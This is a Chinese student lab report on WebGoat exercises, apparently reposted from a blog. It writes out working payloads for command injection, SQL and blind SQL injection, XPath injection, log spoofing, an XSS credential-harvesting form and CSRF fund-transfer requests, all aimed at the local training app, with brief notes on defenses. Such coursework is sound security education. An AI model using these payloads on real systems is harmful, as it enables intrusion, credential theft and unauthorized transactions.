一、实验内容

  • 本实践的目标理解常用网络攻击技术的基本原理。
  • 做不少于7个题目,包括SQL,XSS,CSRF。
  • Webgoat实践下相关实验。

二、实验具体步骤

(一)环境配置

1.安装WebGoat

从学长博客的云盘里下载了WebGoat,输入命令java -jar webgoat-container-7.1-exec.jar运行WebGoat

2.然后在浏览器中打开http://localhost:8080/WebGoat进入登录界面:

3.然后发现并没有左边的课程之类的。询问了同学发现是JDK的问题,需要下载版本低一点的JDK。以下是JDK安装过程

(1)将下载好的JDK包提取出来,开始拷贝目录 ,手动安装 (注意文件夹名根据自己的实际情况来设定)

sudo mkdir -p /usr/local/java
cp-r jdk-8u11-linux-x64/ /usr/local/java/

(2)配置JDK的环境变量输入命令 sudo gedit /etc/profile ,复制以下内容追加到文件末尾(注意文件夹名根据自己的实际情况来设定)

JAVA_HOME=/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH

(3)告诉系统JDK的位置,并设置新的JDK为默认。(命令需要输两次,执行两次)

sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/java" 1sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javac" 1sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws" 1sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws" 1

sudo update-alternatives --set java /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javasudo update-alternatives --set java /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javasudo update-alternatives --set javac /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javacsudo update-alternatives --set javac /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javacsudo update-alternatives --set javaws /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javawssudo update-alternatives --set javaws /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws

(4)重载Profile文件,输入命令 java -version 查看Java版本号

(5)成功访问webgoat

(二)SQL注入攻击

1.命令注入(Command Injection)

原理:在正常的参数提交过程中,添加恶意的代码,从而获得一些信息。

(1)右键表单选择框的下拉框,选择Inspect Element(Q),然后修改源代码,在任意位置加上 & netstat -an & ipconfig

(2)点击网页中的 view 按钮,就能在网页下面看到系统的网络连接情况了

2.数字型SQL注入(Numeric SQL Injection)

原理大概就是这里有一个SQL语句 SELECT * FROM weather_data WHERE station = [station] ,可以拦截报文将station字段后补充成一个永真式101 OR 1=1。

(1)右键网页,点击inspect Element,查看并编辑网页源代码,在option value中加入恒等真式or 1=1

(2)由于1=1恒成立,点击go,看到所有城市的天气,成功。

3.Log Spoofing

日志伪造,目的是通过注入恶意字符串,按照规则伪造出一条日志。

(1)在Username输入 20164316%0d%0aLogin Succeeded for username: admin 其中%0d和%0a为CRLF换行符

(2)点击login in就可以看到成功啦

4.XPATH Injection

意思大概是你的账号是Mike/test123,目标是尝试查看其他员工的数据,通过尝试构造永真式来实现。

(1)在User Name中输入永真式 4316zzy ' or 1=1 or 'a' ='a

(2)点击submit就可以看到所有员工的数据了

5.LAB: SQL Injection之String SQL Injection

原理:应用程序会将您的输入带入后台的 SQL 查询语句,使用SQL注入绕过认证。

(1)由于密码的长度有限制,所以我们先修改密码输入框的允许输入长度。将maxlength设置为25甚至更大。

(2)就可以以admin的身份登录,密码框里输入 ' or 1=1 -- ,然后就能成功以John的身份登录成功。可以查看任意用户的信息等等。

6.LAB: SQL Injection之Numeric SQL Injection

绕过认证执行SQL注入,使登录Larry账户,但是能查看Boss的信息。和之前的想法一样,我们只需将employee_id参数修改为: 101 or 1=1 order by salary desc

7.Blind Numeric SQL Injection

数字盲注,有些时候存在SQL注入,但是获取不到我们需要的信息,此时可以通过SQL语句的条件判断,进行盲注。

(1)使用盲注进行爆破,在“Enter your Account Number”输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

(2)如果页面提示帐号有效,说明 PIN>10000 否则PIN<=10000。不断调整数值,可以缩小判断范围,并最终判断出 PIN 数值的大小。

(3)最终如下语句返回帐号有效:

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );

8.Blind String SQL Injection

使用盲注进行爆破,在“Enter your Account Number”输入

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );

根据返回的提示来判断name的范围,直至返回成功,然后把Jill输入表单,提交,如下图所示:

(三)Cross-Site Scripting (XSS)

1.Phishing with XSS

(1)使用XSS和HTML插入制作一个钓鱼网站,代码如下:

</form><script>function hack(){
XSSImage=newImage;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name =" + document.phish.user.value + "Password =" +document.phish.pass.value);
}</script>
<form name="phish">
<br><br>
<HR><H2>This feature requires account login:</H2>
<br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass">
<br><input type="submit" name="login" value="login" οnclick="hack()">
</form>
<br>
<br>
<HR>

(2)点击search后,下拉网页就可以看到输入框了,在里面输入任意字符,点击login,就可以看到攻击成功了

2.Stored XSS Attacks

最典型的储存型XSS的例子——留言板,因为可以输入任何信息,如果有人进行了恶意留言,那么之后的人便会中招。

(1)在Title里输入“Test Stored XSS”,在 Message里输入

<script>alert("20164316zzy!");</script>

(2)点击生成的留言板就能攻击成功。

3.Reflected XSS Attacks

(1)在Enter your three digit access code中输入如下代码: <script>alert('20164316zhangziyao attack!')</script> 。
(2) 点击Purchase,成功显示警告框,内容为我们script脚本写的20164316zhangziyao attack!。攻击成功。

(四)CSRF

1.Cross Site Request Forgery(CSRF)

实验目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。

(1)在Title输入:4316zzy,在Message输入:

<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />

(2)点击“Submit”,在Message List下出现一条提交的记录,点击该链接,当前页面就会下载这个消息并显示出来。

2.CSRF Prompt By-Pass

(1)在Title输入:20164316zzy;在Message输入:

<iframesrc="attack?Screen=280&menu=900&transferFunds=5000"id="myFrame" frameborder="1" marginwidth="0"marginheight="0" width="800" scrolling=yes height="300"onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
</iframe><iframeid="frame2" frameborder="1" marginwidth="0"marginheight="0" width="800" scrolling=yes height="300">
</iframe>

(2)点击“Submit”,在Message List下出现一条提交的记录,点击该链接


三、实践基础问答

(1)SQL注入攻击原理,如何防御

  • 原理:
    程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,攻击者利用SQL命令欺骗服务器执行恶意的SQL命令,获得某些他想得知的数据。
  • 防御:
    就像我们上次做实验对网页登陆的账户做了密码长度的限制,可以限制输入的长度、检查输入变量的数据类型,限制特殊字符的输入,把用户输入的or, –,';等关键字和特殊字符都过滤了,或者用语言内建的安全机制(比如说 JDBC 的PreparedStatement就可以很大程度的防止 SQL 注入)

(2)XSS攻击的原理,如何防御

  • 原理:
    XSS攻击全称跨站脚本攻击,也由于没有对用户输入数据的合法性进行判断,攻击者在网页上插入恶意代码,攻击用户。
  • 防御:
    与防御SQL注入一样,可以通过检查用户的输入字符串,并做出限制。

(3)CSRF攻击原理,如何防御

  • 原理:
    跨站请求伪造,攻击者通过伪造身份等方式来达到一些非法目的,以你的名义来发送恶意请求。
  • 防御:
    使用验证码,表单中附加随机值,以此来防止冒充。

四、实践总结与体会

  这是最后一次实验了,通过webgoat深入理解并运用了多种攻击,尝试了很多东西,可以说是非常有意思了,当然也碰到了很多问题,但是发现沉下心来认真解决还是很有成就感的!虽然有一些浪费时间...总的来说,这门课我收获良多,虽然也许在现实中并不能成功攻击他人,但是能够认识并且做出相应的防范了。学习到了不少的东西,也进行了多次的实践与尝试。

转载于:https://www.cnblogs.com/talank/p/10926718.html

Exp9 Web安全基础 ————20164316张子遥相关推荐

  1. Exp5 MSF基础应用 ——20164316张子遥

    一. 实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.一个主动攻击实践, ms04_011_lsass(失败) ms08_067_net ...

  2. 20165306 Exp9 Web安全基础

    Exp9 Web安全基础 一.实验概述 0.WebGoat准备工作 (一)SQL注入攻击 1.命令注入(Command Injection) 2.数字型SQL注入(Numeric SQL Inject ...

  3. 2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165212<网络对抗技术>Exp9 Web安全基础 基础问题回答 1.SQL注入攻击原理,如何防御? 原理:SQL注入,就是通过把SQL命令插入到Web表单递 ...

  4. 20164317《网络对抗技术》Exp9 Web安全基础

    Exp9 Web安全基础 一.实践目标 理解常用网络攻击技术的基本原理. 在Webgoat,实践相关实验. SQL注入攻击 XSS攻击 CSRF攻击 二.实践过程 1.环境配置: 下好jar包然后放在 ...

  5. Exp9 Web安全基础

    Exp9 Web安全基础  Injection Flaws攻击 命令注入(Command Injection) 数字型SQL注入(Numeric SQL Injection) 日志欺骗(Log Spo ...

  6. 2018-2019 20165208 网络对抗 Exp9 Web安全基础

    目录 2018-2019 20165208 网络对抗 Exp9 Web安全基础 实验内容 基础问题回答 实践过程记录 1. WebGoat准备 2. SQL注入攻击 2.1 Command Injec ...

  7. 20155209 林虹宇 Exp9 Web安全基础

    Exp9 Web安全基础 XSS 1.Phishing with XSS 跨站脚本攻击,在表单中输入超文本代码 在网页中形成一个自制的登陆表单,然后将结果反馈到自己的主机上. 攻击成功 2.Store ...

  8. 20155202《网络对抗》Exp9 web安全基础实践

    20155202<网络对抗>Exp9 web安全基础实践 实验前回答问题 (1)SQL注入攻击原理,如何防御 SQL注入产生的原因,和栈溢出.XSS等很多其他的攻击方法类似,就是未经检查或 ...

  9. 2018-2019 20165226 Exp9 Web安全基础

    2018-2019 20165226 Exp9 Web安全基础 目录 一.实验内容说明及基础问题回答 二.实验过程 Webgoat准备 XSS攻击 ① Phishing with XSS 跨站脚本钓鱼 ...

  10. 2018-2019-2 20165221 【网络对抗技术】-- Exp9 Web安全基础

    2018-2019-2 20165221 [网络对抗技术]-- Exp9 Web安全基础 目录: 一 . 实验要求 二 . 实验过程记录 1 . Webgoat安装 2 . SQL注入的攻击 命令注入 ...

最新文章

  1. java阅读题_java 练习题带答案
  2. 一文攻破枚举类型-C语言
  3. calico 跨主机容器网络通信
  4. html5画板功能,JS实现canvas简单小画板功能
  5. Linux下配置LVM
  6. 众望所归!中国机器狗能【后空翻】了。。。
  7. BrnShop开源网上商城第二讲:ASP.NET MVC框架
  8. 优秀技术人才需具备能力
  9. AJAX只支持字符类数据返回,不支持文件下载
  10. 64位ie加载java失败_java-无法在AMD 64位平台上加载IA 32位.dll
  11. (13)<datalist> 标签
  12. lisp抛物线插值_抛物线插值法
  13. python thread模块_【Python@Thread】thread模块
  14. windows + visual studio 2010 配置SVN
  15. 《IBM SPSS Modeler数据与文本挖掘实战》之社交网络分析
  16. 推荐系统-利用用户行为数据
  17. python小工具集_Python 小工具集合
  18. LeetCode:在线编程刷题网站
  19. nginx 配置静态网页
  20. 【HD Tune变红/警告】硬盘 SMART 检测参数详解

热门文章

  1. 考研数学公式默写记忆PDF
  2. iphonex蓝牙打不开转圈_多人反应iPhone X蓝牙连接时遇到问题
  3. K3终极折腾记<一>
  4. 苹果台式电脑怎么使用计算机,MAC电脑连接台式电脑显示器怎么操作
  5. python招聘杭州拉勾网_Python爬虫:爬取拉勾网招聘信息
  6. Spring Data Elasticsearch 基本语法及使用
  7. POJ 1118 Lining Up 叉积,三点共线。
  8. 华为交换机、路由器流量统计
  9. 同一服务器的跨库查询
  10. 台式电脑如何修复计算机,台式电脑没有声音了怎么恢复(在家用这两个方法轻松解决)...